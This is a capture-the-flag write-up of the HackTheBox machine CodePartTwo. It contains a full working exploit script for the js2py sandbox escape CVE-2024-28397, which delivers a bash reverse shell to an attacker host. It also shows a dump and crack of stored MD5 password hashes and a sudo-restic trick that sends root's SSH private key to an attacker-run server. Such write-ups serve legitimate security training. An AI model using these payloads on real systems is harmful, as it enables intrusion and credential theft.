< BACK TO HUB
EASY DIFFICULTY

CODEPARTTWO

TARGET OS: LINUX | AUTHOR: LEANDROS

CodePartTwo is a fantastic Easy-rated Linux machine on HackTheBox that tests a wide array of fundamental pentesting skills. The intrusion started with analyzing the source code of a Flask web application, identifying an outdated Python dependency (`js2py`), and escaping its sandbox to achieve Remote Code Execution. From there, I moved laterally by dumping a local SQLite database and cracking a user's MD5 hash. Finally, I escalated to root by abusing a Sudo wrapper around the `restic` backup utility to exfiltrate root's SSH keys. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with my standard Nmap TCP port scan to identify the attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,8000 <IP>
OUTPUT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

My scan revealed SSH on port 22 and a Gunicorn web server running on port 8000. Navigating to port 8000 presented a standard web application. I found a "Download App" button which provided a zip file containing the source code of the website. Unzipping it revealed a standard Flask application directory structure.

PHASE 2: SOURCE CODE REVIEW & RCE

I immediately began reviewing the source code, looking for obvious flaws. The `app.py` file showed several standard Flask routes, but my attention was immediately drawn to the dependencies listed in `requirements.txt`.

SOURCE CODE - REQUIREMENTS.TXT
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

[!] VULNERABILITY DETECTED: JS2PY SANDBOX ESCAPE

The application uses `js2py` version 0.74 to evaluate JavaScript submitted by users via the `/run_code` route. However, this version is vulnerable to CVE-2024-28397. The vulnerability allows an attacker to escape the JavaScript sandbox by accessing Python's internal `__class__` and `__base__` attributes from within the JS environment. By traversing the inheritance tree, we can locate the `subprocess.Popen` class and execute arbitrary system commands.

I registered an account on the web application, logged in, and accessed the code execution dashboard. To exploit this, I wrote a Python script that automates the delivery of the malicious JavaScript payload to the `/run_code` endpoint, targeting a reverse shell back to my machine.

PAYLOAD - CVE-2024-28397 EXPLOIT.PY
import requests
import json
import base64

TARGET_URL = 'http://<IP>:8000'
ATTACKER_IP = '<IP_ATTACKER>'
ATTACKER_PORT = '<PORT>'

# Reverse shell command
reverse_shell_cmd = f'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'

# Base64 encode to avoid quote escaping issues
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
final_cmd = f'echo {encoded_cmd} | base64 -d | bash'

# Malicious JS payload traversing Python's object tree
js_code = f"""
var cmd = "{final_cmd}";
var a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");

function findpopen(o) {{
    for (var i in o.__subclasses__()) {{
        var item = o.__subclasses__()[i];
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
            return item;
        }}
        if (item.__name__ != "type") {{
            var result = findpopen(item);
            if (result) return result;
        }}
    }}
    return null;
}}

var popen_class = findpopen(obj);
if (popen_class) {{
    popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
}}
"""

url = f'{TARGET_URL}/run_code'
payload = {"code": js_code}
headers = {"Content-Type": "application/json"}

requests.post(url, data=json.dumps(payload), headers=headers, timeout=10)

I set up a Netcat listener and executed my Python script. The server processed the JavaScript, escaped the sandbox, invoked `subprocess.Popen`, and sent me a shell!

TERMINAL - NETCAT LISTENER
listening on [any] 7755 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.82] 39374
app@codeparttwo:~/app$ whoami
app

PHASE 3: LATERAL MOVEMENT (APP -> MARCO)

While I had a shell as the user `app`, I needed to pivot to a higher-privileged user. Recalling the `app.py` source code, I remembered seeing a SQLite database configuration: app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'.

I located the `users.db` file inside the `/home/app/app/instance/` directory and used the `sqlite3` command-line tool to inspect it.

TERMINAL - SQLITE DUMP
sqlite3 /home/app/app/instance/users.db
sqlite> select * from user;
OUTPUT
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|ezboi|726fc2abe79d325c745210240c13dd89

I discovered a password hash for the user `marco`. The hash was 32 characters long and hexadecimal, indicating it was standard MD5 (which the `app.py` source code confirmed). I passed Marco's hash into John the Ripper.

TERMINAL - JOHN THE RIPPER
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
OUTPUT
sweetangelbabylove (marco)     
1g 0:00:00:00 DONE (2025-09-19 11:35) 7.142g/s 24633Kp/s

John cracked the hash instantly. I used the recovered password, sweetangelbabylove, to SSH directly into the machine as Marco. I was now an authenticated system user and claimed the `user.txt` flag.

PHASE 4: PRIVILEGE ESCALATION (RESTIC)

Checking my privileges with `sudo -l`, I found that Marco could execute a custom binary called `npbackup-cli` as root without a password.

TERMINAL - PRIVILEGE CHECK
User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

By executing the binary and reading the output, I noticed it was a wrapper around `restic`, a popular, fast, and secure backup program. Because `npbackup-cli` allows passing raw commands down to `restic` using the `--raw` flag, we can leverage GTFOBins to exploit it.

`Restic` can read any file on the file system when backing up. Since it's running as root, we can back up highly sensitive files (like `/etc/shadow` or `/root/.ssh/id_rsa`) and send them to a remote repository hosted on our attacking machine.

[!] EXPLOIT STRATEGY: RESTIC EXFILTRATION

1. Start a REST server on the attacker machine to receive backups.
2. Initialize a new Restic repository on that server.
3. Use the vulnerable `npbackup-cli` on the victim to backup `/root/.ssh/id_rsa` and send it to our attacker server.
4. Restore the backup locally and use the private key to SSH as root.

First, I installed and started the `rest-server` on my Kali Linux attacker machine.

TERMINAL (ATTACKER) - REST SERVER SETUP
mkdir /opt/restic-repos
rest-server --path /opt/restic-repos --no-auth --listen :6666
# In a new terminal tab, initialize the repository:
restic init -r "rest:http://127.0.0.1:6666/Pwn3d"

I created a quick password file on the victim machine to automate the repository authentication, then I triggered the vulnerable sudo command, instructing `restic` to backup `/root/.ssh/id_rsa` directly to my server.

TERMINAL (VICTIM) - EXECUTING THE BACKUP
echo "mypassword" > /tmp/restic-password
sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "backup -r 'rest:http://<ATTACKER_IP>:6666/Pwn3d' --password-file /tmp/restic-password /root/.ssh/id_rsa"

The output confirmed that `1 new file` was added to the repository. Back on my attacker machine, I checked the snapshots and restored the file.

TERMINAL (ATTACKER) - RESTORING THE KEY
restic -r "rest:http://127.0.0.1:6666/Pwn3d" snapshots
restic -r "rest:http://127.0.0.1:6666/Pwn3d" restore latest --target /tmp/pwned

I navigated to `/tmp/pwned/root/.ssh/` and found the pristine `id_rsa` private key. I immediately applied the correct permissions and used it to SSH into the machine as root.

TERMINAL - ROOT ACCESS
chmod 600 id_rsa
ssh -i id_rsa root@<IP>

The connection succeeded. I read the `root.txt` flag, completing the machine. System Compromised.